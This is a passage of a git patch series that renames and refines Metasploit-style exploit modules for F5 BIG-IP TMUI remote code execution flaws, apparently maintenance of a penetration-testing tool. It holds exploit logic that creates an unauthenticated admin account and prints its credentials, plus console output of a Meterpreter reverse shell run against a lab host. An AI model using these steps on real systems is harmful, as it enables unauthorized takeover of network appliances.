'/tmp' }, 'Notes' => { - 'Stability' => [], + 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [ IOC_IN_LOGS, # user creation events are logged @@ -96,7 +95,7 @@ def exploit changed = update_user_password fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed - print_good("Created administrator user: #{username}:#{password}") + print_good("Admin user was created successfully. Credentials: #{username} - #{password}") res = bigip_api_tm_get_user('admin') if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? From 9c67b92a4dfe98ad7cf157971831732e1237ea8b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Nov 2023 16:54:47 -0400 Subject: [PATCH 6/9] Rename the other TMUI RCE module --- ...mui_rce.md => f5_bigip_tmui_rce_cve_2020_5902.md} | 12 ++++++------ ...mui_rce.rb => f5_bigip_tmui_rce_cve_2020_5902.rb} | 2 ++ 2 files changed, 8 insertions(+), 6 deletions(-) rename documentation/modules/exploit/linux/http/{f5_bigip_tmui_rce.md => f5_bigip_tmui_rce_cve_2020_5902.md} (93%) rename modules/exploits/linux/http/{f5_bigip_tmui_rce.rb => f5_bigip_tmui_rce_cve_2020_5902.rb} (98%) diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md similarity index 93% rename from documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md rename to documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md index 3308499060b2..f2b8c1206726 100644 --- a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce.md +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902.md @@ -52,11 +52,11 @@ Defaults to `/tmp`. ### F5 BIG-IP 14.1.2 in VMware Fusion ``` -msf5 > use exploit/linux/http/f5_bigip_tmui_rce +msf5 > use exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902 [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf5 exploit(linux/http/f5_bigip_tmui_rce) > options +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > options -Module options (exploit/linux/http/f5_bigip_tmui_rce): +Module options (exploit/linux/http/f5_bigip_tmui_rce_cve_2020_5902): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -87,11 +87,11 @@ Exploit target: 1 Linux Dropper -msf5 exploit(linux/http/f5_bigip_tmui_rce) > set rhosts 172.16.249.179 +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set rhosts 172.16.249.179 rhosts => 172.16.249.179 -msf5 exploit(linux/http/f5_bigip_tmui_rce) > set lhost 172.16.249.1 +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(linux/http/f5_bigip_tmui_rce) > run +msf5 exploit(linux/http/f5_bigip_tmui_rce_cve_2020_5902) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb similarity index 98% rename from modules/exploits/linux/http/f5_bigip_tmui_rce.rb rename to modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb index f0574bde6073..b3e4d70f16a2 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb @@ -11,6 +11,8 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper + include Msf::Exploit::Deprecated + moved_from 'exploit/linux/http/f5_bigip_tmui_rce' def initialize(info = {}) super( From d26742a266de664753adf4fbf6fa2010b04b53a5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 2 Nov 2023 08:53:56 -0400 Subject: [PATCH 7/9] Add check code annotations, update AJP link --- .../http/f5_bigip_tmui_rce_cve_2023_46747.md | 3 ++- lib/rex/proto/apache_j_p.rb | 3 +-- .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 22 +++++++++---------- 3 files changed, 14 insertions(+), 14 deletions(-) diff --git a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md index 149830eee036..da0bbb6ad7ac 100644 --- a/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md +++ b/documentation/modules/exploit/linux/http/f5_bigip_tmui_rce_cve_2023_46747.md @@ -4,7 +4,8 @@ This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to -execute a command payload. +execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are +created. Tested against the VMware OVA release of 16.1.2.1-0.0.10 and 17.0.0.1-0.0.4. diff --git a/lib/rex/proto/apache_j_p.rb b/lib/rex/proto/apache_j_p.rb index a60e8b64b59b..90bd0085be47 100644 --- a/lib/rex/proto/apache_j_p.rb +++ b/lib/rex/proto/apache_j_p.rb @@ -2,7 +2,7 @@ require 'bindata' -# @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html +# @see: https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html module Rex::Proto::ApacheJP class ApacheJPBoolean < BinData::Primitive endian :big @@ -86,7 +86,6 @@ class ApacheJPRequestAttribute < BinData::Record apache_jp_string :attribute_value, onlyif: -> { code != CODE_TERMINATOR } end - # @see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes class ApacheJPForwardRequest < BinData::Record HTTP_METHOD_OPTIONS = 1 HTTP_METHOD_GET = 2 diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 51a517db22b3..7ca4b3e0d862 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -20,10 +20,10 @@ def initialize(info = {}) info, 'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE', 'Description' => %q{ - This module exploits a flaw in F5's BIG-IP Traffic Management User - Interface (TMUI) that enables an external, unauthenticated attacker to - create an administrative user. Once the user is created, the module - uses the new account to execute a command payload. + This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external, + unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new + account to execute a command payload. Both the exploit and check methods automatically delete any temporary + accounts that are created. }, 'Author' => [ 'Michael Weber', # vulnerability analysis @@ -60,7 +60,7 @@ def initialize(info = {}) }, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [], + 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # user creation events are logged CONFIG_CHANGES # a temporary user is created then deleted @@ -76,16 +76,16 @@ def initialize(info = {}) def check res = create_user(role: 'Guest') - return CheckCode::Unknown unless res - return CheckCode::Safe unless res.code == 200 + return CheckCode::Unknown('No response received from target.') unless res + return CheckCode::Safe('Failed to create the user.') unless res.code == 200 changed = update_user_password - return CheckCode::Safe unless changed + return CheckCode::Safe('Failed to set the new user\'s password.') unless changed user = bigip_api_tm_get_user(username) - return CheckCode::Safe unless user.get_json_document['kind'] == 'tm:auth:user:userstate' + return CheckCode::Safe('Failed to validate the new user account.') unless user.get_json_document['kind'] == 'tm:auth:user:userstate' - CheckCode::Vulnerable + CheckCode::Vulnerable('Successfully tested unauthenticated user creation.') end def exploit @@ -93,7 +93,7 @@ def exploit fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 changed = update_user_password - fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed + fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed print_good("Admin user was created successfully. Credentials: #{username} - #{password}") From cea4c1f326a656b7ac5c2ff217304950547ddfe4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 2 Nov 2023 10:17:45 -0400 Subject: [PATCH 8/9] Feedback from module review --- .../linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 7ca4b3e0d862..b0f5291de0de 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -82,8 +82,8 @@ def check changed = update_user_password return CheckCode::Safe('Failed to set the new user\'s password.') unless changed - user = bigip_api_tm_get_user(username) - return CheckCode::Safe('Failed to validate the new user account.') unless user.get_json_document['kind'] == 'tm:auth:user:userstate' + res = bigip_api_tm_get_user(username) + return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate' CheckCode::Vulnerable('Successfully tested unauthenticated user creation.') end @@ -153,15 +153,18 @@ def report_hash(user, hash) end def cleanup + super + + print_status('Deleting the created user...') delete_user end def username - @username ||= Rex::Text.rand_text_alpha(6) + @username ||= rand_text_alpha(6..8) end def password - @password ||= Rex::Text.rand_text_alphanumeric(12..14) + @password ||= rand_text_alphanumeric(16..20) end def create_user(role:) From 27d86be45610393792f9040e94efbc852ed31cf8 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 2 Nov 2023 11:11:36 -0400 Subject: [PATCH 9/9] Remove the REPEATABLE_SESSION tag The module is generally reliable, but may fail after it's been run multiple times. --- modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index b0f5291de0de..059a9081216b 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -60,7 +60,7 @@ def initialize(info = {}) }, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], + 'Reliability' => [], 'SideEffects' => [ IOC_IN_LOGS, # user creation events are logged CONFIG_CHANGES # a temporary user is created then deleted